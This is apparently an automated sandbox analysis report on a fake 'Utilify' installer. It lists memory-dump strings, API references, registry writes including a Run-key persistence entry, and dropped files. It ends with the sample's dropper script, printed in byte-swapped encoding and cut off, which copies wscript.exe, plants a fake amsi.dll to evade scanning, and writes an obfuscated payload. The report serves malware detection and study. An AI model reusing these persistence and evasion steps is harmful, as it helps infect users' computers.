Found URL "http://crl.sectigo.com/sectigopublictimestampingrootr46.crl0" - Source: "00000000-00006836.00000002.122890.698CE000.00000004.mdmp") Found URL "http://crt.sectigo.com/sectigopublictimestampingrootr46.p7c0" - Source: "00000000-00006836.00000002.122890.698CE000.00000004.mdmp") Found URL "http://ocsp.sectigo.com0l-gtv[h_r9rc%59)$j+!cx" - Source: "00000000-00006836.00000002.122890.698CE000.00000004.mdmp") Found URL "http://crl.sectigo.com/sectigopubliccodesigningrootr46.crl0" - Source: "00000000-00006836.00000002.122890.698CE000.00000004.mdmp") Found URL "http://crt.sectigo.com/sectigopubliccodesigningrootr46.p7c0" - Source: "00000000-00006836.00000002.122890.698CE000.00000004.mdmp") Found URL "http://ocsp.sectigo.com0k'lzqfav)s1" - Source: "00000000-00006836.00000002.122890.698CE000.00000004.mdmp") Found URL "https://sectigo.com/cps0c0a0?9http://crl.sectigo.com/sectigopublictimestampingcar36.crl0zn0l0e9http://crt.sectigo.com/sectigopublictimestampingcar36.crt0" - Source: "00000000-00006836.00000002.122890.698CE000.00000004.mdmp") Found URL "http://ocsp.sectigo.com061cjd4pxwv%q3qmi!'new" - Source: "00000000-00006836.00000002.122890.698CE000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl05)0'0%http://ocsp.usertrust.com0avi&q_=&pduv\oz4" - Source: "00000000-00006836.00000002.122890.698CE000.00000004.mdmp") Found URL "https://sectigo.com/cps0d0b0@:http://crl.sectigo.com/sectigopubliccodesigningcaevr36.crl0" - Source: "00000000-00006836.00000002.122890.698CE000.00000004.mdmp") Found URL "http://crt.sectigo.com/sectigopubliccodesigningcaevr36.crt0" - Source: "00000000-00006836.00000002.122890.698CE000.00000004.mdmp") Found URL "http://ocsp.sectigo.com0" - Source: "00000000-00006836.00000002.122890.698CE000.00000004.mdmp") Found URL "http://crt.sectigo.com/sectigopublictimestampingrootr46.p7c0" - Source: "00000000-00006836.00000002.122890.74280000.00000004.mdmp") Found URL "http://ocsp.sectigo.com0l-gtv[h_r9rc%59)$j+!cx" - Source: "00000000-00006836.00000002.122890.74280000.00000004.mdmp") Found URL "http://crl.sectigo.com/sectigopubliccodesigningrootr46.crl0" - Source: "00000000-00006836.00000002.122890.74280000.00000004.mdmp") Found URL "http://crt.sectigo.com/sectigopubliccodesigningrootr46.p7c0" - Source: "00000000-00006836.00000002.122890.74280000.00000004.mdmp") Found URL "http://ocsp.sectigo.com0k'lzqfav)s1" - Source: "00000000-00006836.00000002.122890.74280000.00000004.mdmp") Found URL "https://sectigo.com/cps0c0a0?9http://crl.sectigo.com/sectigopublictimestampingcar36.crl0zn0l0e9http://crt.sectigo.com/sectigopublictimestampingcar36.crt0" - Source: "00000000-00006836.00000002.122890.74280000.00000004.mdmp") Found URL "http://ocsp.sectigo.com061cjd4pxwv%q3qmi!'new" - Source: "00000000-00006836.00000002.122890.74280000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl05)0'0%http://ocsp.usertrust.com0avi&q_=&pduv\oz4" - Source: "00000000-00006836.00000002.122890.74280000.00000004.mdmp") Found URL "https://sectigo.com/cps0d0b0@:http://crl.sectigo.com/sectigopubliccodesigningcaevr36.crl0" - Source: "00000000-00006836.00000002.122890.74280000.00000004.mdmp") Found URL "http://crt.sectigo.com/sectigopubliccodesigningcaevr36.crt0" - Source: "00000000-00006836.00000002.122890.74280000.00000004.mdmp") Found URL "http://ocsp.sectigo.com0" - Source: "00000000-00006836.00000002.122890.74280000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl04(0&0$http://ocsp.comodoca.com0k^-" - Source: "00000000-00006836.00000002.122890.74280000.00000004.mdmp") Found URL "http://crl.sectigo.com/sectigopublictimestampingrootr46.crl0" - Source: "00000000-00006836.00000002.122890.74280000.00000004.mdmp")50:T671,"WScript.exe" called "FindFirstFileW" with parameter %WINDIR%\System32\wscript.exe (UID: 00000000-00002804) "WScript.exe" called "FindFirstFileW" with parameter %TEMP%\svc_ylb6ijl1 (UID: 00000000-00002804) "WScript.exe" called "FindFirstFileW" with parameter %TEMP%\svc_ylb6ijl1\* (UID: 00000000-00002804) "WScript.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00002804) "WScript.exe" called "FindNextFileW" with parameter amsi.dll (UID: 00000000-00002804) "WScript.exe" called "FindNextFileW" with parameter sw.js (UID: 00000000-00002804) "WScript.exe" called "FindNextFileW" with parameter wscript.exe (UID: 00000000-00002804) "Utilify_8u8a563i.exe" called "FindFirstFileW" with parameter %TEMP%\Utilify_8u8a563i.en-US (UID: 00000000-00005108) "Utilify_8u8a563i.exe" called "FindFirstFileW" with parameter %TEMP%\Utilify_8u8a563i.en (UID: 00000000-00005108) "Utilify_8u8a563i.exe" called "FindFirstFileW" with parameter %TEMP%\Utilify_8u8a563i.ENU (UID: 00000000-00005108) "Utilify_8u8a563i.exe" called "FindFirstFileW" with parameter %TEMP%\Utilify_8u8a563i.EN (UID: 00000000-00005108) "Utilify_8u8a563i.tmp" called "FindFirstFileW" with parameter %TEMP%\is-97LI8WEXMB.tmp\Utilify_8u8a563i.en-US (UID: 00000000-00000952) "Utilify_8u8a563i.tmp" called "FindFirstFileW" with parameter %TEMP%\is-97LI8WEXMB.tmp\Utilify_8u8a563i.en (UID: 00000000-00000952) "Utilify_8u8a563i.tmp" called "FindFirstFileW" with parameter %TEMP%\is-97LI8WEXMB.tmp\Utilify_8u8a563i.ENU (UID: 00000000-00000952) "Utilify_8u8a563i.tmp" called "FindFirstFileW" with parameter %TEMP%\is-97LI8WEXMB.tmp\Utilify_8u8a563i.EN (UID: 00000000-00000952)51:T7f2,file/memory contains long string with (Indicator: "swordfish"; File: "75d80a67e5fd7383e7dad6ef3bbacfad61fbf39b16ecd026e0deb41a5b2268f4.bin") file/memory contains long string with (Indicator: "serpent"; File: "75d80a67e5fd7383e7dad6ef3bbacfad61fbf39b16ecd026e0deb41a5b2268f4.bin") file/memory contains long string with (Indicator: "aes"; File: "75d80a67e5fd7383e7dad6ef3bbacfad61fbf39b16ecd026e0deb41a5b2268f4.bin") file/memory contains long string with (Indicator: "aes"; File: "chrome_200_percent.pak") Found string "D:\Coding\Is\issrc-build\Components\ChaCha20.pas" (Indicator: "chacha"; File: "00000000-00005108.00000002.127043.00DF1000.00000020.mdmp") Found string "TChaCha20Ctx@" (Indicator: "chacha"; File: "00000000-00005108.00000002.127043.00DF1000.00000020.mdmp") Found string "AShared.EncryptionFunc" (Indicator: ".encrypt"; Source: "00000000-00000952.00000000.123319.0043C000.00000002.mdmp") Found string "ChaCha20" (Indicator: "chacha"; Source: "00000000-00000952.00000000.123319.0043C000.00000002.mdmp") Found string "kECDSA" (Indicator: "ecdsa"; Source: "00000000-00000952.00000000.123319.0043C000.00000002.mdmp") Found string "Diffie-Hellman routines" (Indicator: "diffie-hellman"; Source: "00000000-00000952.00000000.123319.00AEE000.00000004.mdmp") Found string "ECDSA routines" (Indicator: "ecdsa"; Source: "00000000-00000952.00000000.123319.00AEE000.00000004.mdmp") file/memory contains long string with (Indicator: "aes"; Source: "00000000-00004092.00000001.126915.D4230000.00000004.mdmp") file/memory contains long string with (Indicator: "aes128"; Source: "00000000-00004092.00000001.126915.D4230000.00000004.mdmp") file/memory contains long string with (Indicator: "aes256"; Source: "00000000-00004092.00000001.126915.D4230000.00000004.mdmp") file/memory contains long string with (Indicator: "chacha"; Source: "00000000-00004092.00000001.126915.D4230000.00000004.mdmp") file/memory contains long string with (Indicator: "ecdsa"; Source: "00000000-00004092.00000001.126915.D4230000.00000004.mdmp")52:T647,Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API "GetCurrentProcessorNumber" (Indicator: "GetCurrentProcess"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API "GetModuleHandleExA" (Indicator: "GetModuleHandle"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp")53:T748,Found reference to API "GetTempPath2W" (Indicator: "GetTempPath"; File: "00000000-00005108.00000002.127043.00DF1000.00000020.mdmp") Found reference to API "GetTempDir: GetTempPath failed (%u, %u)" (Indicator: "GetTempPath"; File: "00000000-00005108.00000002.127043.00DF1000.00000020.mdmp") Found reference to API "GetCurrentDirectory" (Indicator: "GetCurrentDirectory"; File: "00000000-00005108.00000002.127043.00DF1000.00000020.mdmp") Found reference to API "empDir: GetTempPath failed (%u, %u)" (Indicator: "GetTempPath"; File: "00000000-00005108.00000002.127043.00DF1000.00000020.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00000952.00000000.123319.0043C000.00000002.mdmp") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp") Found reference to API "GetFileInformationByHandleEx" (Indicator: "GetFileInformationByHandle"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp") Found reference to API "GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp")54:T77e,file/memory contains long string with (Indicator: "secret"; File: "75d80a67e5fd7383e7dad6ef3bbacfad61fbf39b16ecd026e0deb41a5b2268f4.bin") Found string "Please specify the password using the /PASSWORD= command line parameter." (Indicator: "password"; File: "00000000-00005108.00000002.127043.00DF1000.00000020.mdmp") Found string "The password you specified is not correct. Please try again." (Indicator: "password"; File: "00000000-00005108.00000002.127043.00DF1000.00000020.mdmp") file/memory contains long string with (Indicator: "password"; File: "00000000-00005108.00000002.127043.00DF1000.00000020.mdmp") Found string "fy the password using the /PASSWORD= command line parameter." (Indicator: "password"; File: "00000000-00005108.00000002.127043.00DF1000.00000020.mdmp") Found string "Scheme "%s" is not registered$Credential without user and password+Platform-dependant function not implemented)Scheme-dependant function not implemented" (Indicator: "password"; Source: "00000000-00000952.00000000.123319.0043C000.00000002.mdmp") Found string "The password is incorrect" (Indicator: "password"; Source: "00000000-00000952.00000000.123319.04E00000.00000004.mdmp, 00000000-00000952.00000002.127161.04E00000.00000004.mdmp") Found string "The password you entered is not correct. Please try again." (Indicator: "password"; Source: "00000000-00000952.00000000.123319.04E00000.00000004.mdmp, 00000000-00000952.00000002.127161.04E00000.00000004.mdmp") Found string "This installation is password protected." (Indicator: "password"; Source: "00000000-00000952.00000000.123319.04E00000.00000004.mdmp, 00000000-00000952.00000002.127161.04E00000.00000004.mdmp") Found string "Please provide the password, then click Next to continue. Passwords are case-sensitive." (Indicator: "password"; Source: "00000000-00000952.00000000.123319.04E00000.00000004.mdmp, 00000000-00000952.00000002.127161.04E00000.00000004.mdmp")55:T432,Found string "\Device\HarddiskVolume2" (Indicator: "\Device\"; Source: "00000000-00000952.00000000.123319.02B90000.00000004.mdmp, 00000000-00000952.00000001.125240.02B90000.00000004.mdmp, 00000000-00000952.00000002.127161.02B90000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00000952.00000000.123319.02B90000.00000004.mdmp, 00000000-00000952.00000001.125240.02B90000.00000004.mdmp, 00000000-00000952.00000002.127161.02B90000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00004092.00000000.124993.D20C0000.00000004.mdmp, 00000000-00004092.00000001.126915.D20C0000.00000004.mdmp, 00000000-00004092.00000002.128835.D20C0000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Users\HAPUBWS\AppData\Local\SuperMaxionQuickMaxlite\Grape.exe" (Indicator: "\Device\"; Source: "00000000-00004092.00000000.124993.D20C0000.00000004.mdmp, 00000000-00004092.00000001.126915.D20C0000.00000004.mdmp, 00000000-00004092.00000002.128835.D20C0000.00000004.mdmp")56:T444,Found reference to API "function DelTree(const Path: String; const IsDir, DeleteFiles, DeleteSubdirsAlso: Boolean): Boolean;" (Indicator: "DeleteFile"; Source: "00000000-00000952.00000000.123319.04E00000.00000004.mdmp, 00000000-00000952.00000002.127161.04E00000.00000004.mdmp") Found reference to API "function DeleteFile(const FileName: String): Boolean;" (Indicator: "DeleteFile"; Source: "00000000-00000952.00000000.123319.04E00000.00000004.mdmp, 00000000-00000952.00000002.127161.04E00000.00000004.mdmp") Found reference to API "procedure DelayDeleteFile(const Filename: String; const Tries: Integer);" (Indicator: "DeleteFile"; Source: "00000000-00000952.00000000.123319.04E00000.00000004.mdmp, 00000000-00000952.00000002.127161.04E00000.00000004.mdmp") Found reference to API "DeleteFileW" (Indicator: "DeleteFile"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp") Found reference to API "RemoveDirectoryW" (Indicator: "RemoveDirectory"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp")57:Ta72,"WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\SVC_YLB6IJL1\WSCRIPT.EXE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGLEVEL"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGMATCHANYMASK"; Value: "") "wscript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGLEVEL"; Value: "") "wscript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGMATCHANYMASK"; Value: "") "wscript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "wscript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "") "wscript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "") "wscript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NEXT_CATALOG_ENTRY_ID"; Value: "") "wscript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NUM_CATALOG_ENTRIES64"; Value: "") "wscript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000001"; Key: "PACKEDCATALOGITEM"; Value: "") "wscript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000002"; Key: "PACKEDCATALOGITEM"; Value: "") "wscript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000003"; Key: "PACKEDCATALOGITEM"; Value: "") "wscript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000004"; Key: "PACKEDCATALOGITEM"; Value: "") "wscript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000005"; Key: "PACKEDCATALOGITEM"; Value: "") "wscript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000006"; Key: "PACKEDCATALOGITEM"; Value: "")58:T98e,"WScript.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS"; Value: "0100000000") "WScript.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "INTRANETNAME"; Value: "0100000000") "WScript.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "UNCASINTRANET"; Value: "0100000000") "WScript.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "AUTODETECT"; Value: "0000000000") "WScript.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\NOTIFICATIONS\DATA"; Key: "418A073AA3BC3475"; Value: "6D0C000000000000040004000102040000000000630000000D787900010000006B507E000200000087DE83006F000000A19F5E000400010000006B00000056737D00070000006B507E00010000009829B70007000000E6C531000100040000000B0000001A9CB2000100050000000100000016F0B20001006500000078030000E6C5310000") "wscript.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\NOTIFICATIONS\DATA"; Key: "418A073AA3BC3475"; Value: "6C0C000000000000040004000102040000000000630000000D787900010000006B507E000200000087DE83006F000000A19F5E000400010000006A00000056737D00070000006B507E00010000009829B70007000000E6C531000100040000000B0000001A9CB2000100050000000100000016F0B20001006500000078030000E6C5310000") "wscript.exe" (Access type: "SETVAL"; Path: "HKCU\LOCAL SETTINGS\MUICACHE\2FD\52C64B7E"; Key: "LANGUAGELIST"; Value: "en-US") "wscript.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS"; Value: "0100000000") "wscript.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "INTRANETNAME"; Value: "0100000000") "wscript.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "UNCASINTRANET"; Value: "0100000000") "wscript.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "AUTODETECT"; Value: "0000000000") "Grape.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN"; Key: "ELECTRON.APP.GRAPE"; Value: "%LOCALAPPDATA%\SuperMaxionQuickMaxlite\Grape.exe")59:T69f,"libGLESv2.dll" has type "PE32+ executable for MS Windows 5.02 (DLL) x86-64 9 sections"- Location: [%TEMP%\is-XGQS9W3DB7.tmp\libGLESv2.dll]- [targetUID: 00000000-00000952] "Grape.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 12 sections"- Location: [%TEMP%\is-XGQS9W3DB7.tmp\Grape.exe]- [targetUID: 00000000-00000952] "Utilify_8u8a563i.exe" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 11 sections"- Location: [%TEMP%\Utilify_8u8a563i.exe]- [targetUID: 00000000-00000952] "wscript.exe" has type "PE32+ executable for MS Windows 10.00 (GUI) x86-64 6 sections"- Location: [%TEMP%\svc_ylb6ijl1\wscript.exe]- [targetUID: 00000000-00002804] "amsi.dll" has type "MS-DOS executable MZ for MS-DOS"- Location: [%TEMP%\svc_ylb6ijl1\amsi.dll]- [targetUID: 00000000-00002804] "Utilify_8u8a563i.tmp" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 11 sections"- Location: [%TEMP%\is-97LI8WEXMB.tmp\Utilify_8u8a563i.tmp]- [targetUID: 00000000-00000952] "_setup64.tmp" has type "PE32+ executable for MS Windows 5.02 (console) x86-64 5 sections"- Location: [%TEMP%\is-XGQS9W3DB7.tmp\_isetup\_setup64.tmp]- [targetUID: 00000000-00000952] "d3dcompiler_47.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\is-XGQS9W3DB7.tmp\d3dcompiler_47.dll]- [targetUID: 00000000-00000952] "ffmpeg.dll" has type "PE32+ executable for MS Windows 5.02 (DLL) x86-64 8 sections"- Location: [%TEMP%\is-XGQS9W3DB7.tmp\ffmpeg.dll]- [targetUID: 00000000-00000952] "libEGL.dll" has type "PE32+ executable for MS Windows 5.02 (DLL) x86-64 9 sections"- Location: [%TEMP%\is-XGQS9W3DB7.tmp\libEGL.dll]- [targetUID: 00000000-00000952]5a:T5ae,Dropped file: "d3dcompiler_47.dll" - Location: [%LOCALAPPDATA%\SuperMaxionQuickMaxlite\d3dcompiler_47.dll]- [targetUID: 00000000-00000952] Dropped file: "ffmpeg.dll" - Location: [%LOCALAPPDATA%\SuperMaxionQuickMaxlite\ffmpeg.dll]- [targetUID: 00000000-00000952] Dropped file: "libEGL.dll" - Location: [%LOCALAPPDATA%\SuperMaxionQuickMaxlite\libEGL.dll]- [targetUID: 00000000-00000952] Dropped file: "LICENSES.chromium.html" - Location: [%LOCALAPPDATA%\SuperMaxionQuickMaxlite\LICENSES.chromium.html]- [targetUID: 00000000-00000952] Dropped file: "chrome_200_percent.pak" - Location: [%LOCALAPPDATA%\SuperMaxionQuickMaxlite\chrome_200_percent.pak]- [targetUID: 00000000-00000952] Dropped file: "chrome_100_percent.pak" - Location: [%LOCALAPPDATA%\SuperMaxionQuickMaxlite\chrome_100_percent.pak]- [targetUID: 00000000-00000952] Dropped file: "setup.txt" - Location: [%APPDATA%\setup.txt]- [targetUID: 00000000-00004472] Dropped file: "Grape.exe" - Location: [%LOCALAPPDATA%\SuperMaxionQuickMaxlite\Grape.exe]- [targetUID: 00000000-00000952] Dropped file: "libGLESv2.dll" - Location: [%LOCALAPPDATA%\SuperMaxionQuickMaxlite\libGLESv2.dll]- [targetUID: 00000000-00000952] Dropped file: "icudtl.dat" - Location: [%LOCALAPPDATA%\SuperMaxionQuickMaxlite\icudtl.dat]- [targetUID: 00000000-00000952] Dropped file: "LICENSE.electron.txt" - Location: [%LOCALAPPDATA%\SuperMaxionQuickMaxlite\LICENSE.electron.txt]- [targetUID: 00000000-00000952]5b:T1e30,Script name: C:\75d80a67e5fd7383e7dad6ef3bbacfad61fbf39b16ecd026e0deb41a5b2268f4.bin.js contents: 䤀圀猀栀匀栀攀氀氀㌀⸀䔀砀瀀愀渀搀䔀渀瘀椀爀漀渀洀攀渀琀匀琀爀椀渀最猀⠀∀─吀䔀䴀倀─∀⤀㬀ഀ਀䤀䘀椀氀攀匀礀猀琀攀洀㌀⸀䌀爀攀愀琀攀䘀漀氀搀攀爀⠀∀䌀㨀尀唀猀攀爀猀尀䠀䄀倀唀䈀圀匀尀䄀瀀瀀䐀愀琀愀尀䰀漀挀愀氀尀吀攀洀瀀尀猀瘀挀开礀氀戀㘀椀樀氀㄀∀⤀㬀ഀ਀䤀圀猀栀匀栀攀氀氀㌀⸀䔀砀瀀愀渀搀䔀渀瘀椀爀漀渀洀攀渀琀匀琀爀椀渀最猀⠀∀─匀夀匀吀䔀䴀刀伀伀吀─∀⤀㬀ഀ਀䤀䘀椀氀攀匀礀猀琀攀洀㌀⸀䌀漀瀀礀䘀椀氀攀⠀∀䌀㨀尀圀䤀一䐀伀圀匀尀匀礀猀琀攀洀㌀㈀尀眀猀挀爀椀瀀琀⸀攀砀攀∀Ⰰ ∀䌀㨀尀唀猀攀爀猀尀䠀䄀倀唀䈀圀匀尀䄀瀀瀀䐀愀琀愀尀䰀漀挀愀氀尀吀攀洀瀀尀猀瘀挀开礀氀戀㘀椀樀氀㄀尀眀猀挀爀椀瀀琀⸀攀砀攀∀Ⰰ ∀琀爀甀攀∀⤀㬀ഀ਀开匀琀爀攀愀洀⸀吀礀瀀攀⠀∀㈀∀⤀㬀ഀ਀开匀琀爀攀愀洀⸀䌀栀愀爀猀攀琀⠀∀椀猀漀ⴀ㠀㠀㔀㤀ⴀ㄀∀⤀㬀ഀ਀开匀琀爀攀愀洀⸀伀瀀攀渀⠀⤀㬀ഀ਀开匀琀爀攀愀洀⸀圀爀椀琀攀吀攀砀琀⠀∀䴀娀退∀⤀㬀ഀ਀开匀琀爀攀愀洀⸀匀愀瘀攀吀漀䘀椀氀攀⠀∀䌀㨀尀唀猀攀爀猀尀䠀䄀倀唀䈀圀匀尀䄀瀀瀀䐀愀琀愀尀䰀漀挀愀氀尀吀攀洀瀀尀猀瘀挀开礀氀戀㘀椀樀氀㄀尀愀洀猀椀⸀搀氀氀∀Ⰰ ∀㈀∀⤀㬀ഀ਀开匀琀爀攀愀洀⸀䌀氀漀猀攀⠀⤀㬀ഀ਀䤀䘀椀氀攀匀礀猀琀攀洀㌀⸀䌀爀攀愀琀攀吀攀砀琀䘀椀氀攀⠀∀䌀㨀尀唀猀攀爀猀尀䠀䄀倀唀䈀圀匀尀䄀瀀瀀䐀愀琀愀尀䰀漀挀愀氀尀吀攀洀瀀尀猀瘀挀开礀氀戀㘀椀樀氀㄀尀猀眀⸀樀猀∀Ⰰ ∀琀爀甀攀∀⤀㬀ഀ਀䤀吀攀砀琀匀琀爀攀愀洀⸀圀爀椀琀攀⠀∀瘀愀爀搀㴀嬀㈀㌀㈀Ⰰ㈀㔀㔀Ⰰ㈀㌀㘀Ⰰ㄀㤀　Ⰰ㈀㌀㌀Ⰰ㄀㘀㌀Ⰰ㈀㐀　Ⰰ㈀㔀㄀Ⰰ㈀㌀㌀Ⰰ㄀㤀　Ⰰ㈀㈀㌀Ⰰ㈀㔀㌀Ⰰ㈀㌀㐀Ⰰ㈀㐀㜀Ⰰ㈀㌀㈀Ⰰ㈀㔀㄀Ⰰ㄀㤀㠀Ⰰ㈀　㤀Ⰰ㈀㔀㈀Ⰰ㈀㐀㐀Ⰰ㈀㔀㄀Ⰰ㈀㔀㌀Ⰰ㈀㌀㐀Ⰰ㄀㠀㈀Ⰰ㄀㠀㠀Ⰰ㈀　㄀Ⰰ㈀　㔀Ⰰ㈀㔀㌀Ⰰ㈀㌀㘀Ⰰ㈀㐀㜀Ⰰ㈀㌀㠀Ⰰ㈀㌀㐀Ⰰ㄀㜀㘀Ⰰ㈀　㔀Ⰰ㈀㐀㘀Ⰰ㈀㔀㄀Ⰰ㈀㐀㈀Ⰰ㈀㐀㈀Ⰰ㄀㠀㠀Ⰰ㄀㠀㌀Ⰰ㄀㘀㔀Ⰰ㈀㌀㈀Ⰰ㈀㔀㔀Ⰰ㈀㌀㘀Ⰰ㄀㤀　Ⰰ㈀㌀㐀Ⰰ㄀㘀㌀Ⰰ㈀㌀㌀Ⰰ㄀㜀㘀Ⰰ㈀㄀㤀Ⰰ㈀㌀　Ⰰ㈀㌀㠀Ⰰ㈀㔀㔀Ⰰ㈀㐀　Ⰰ㈀㔀　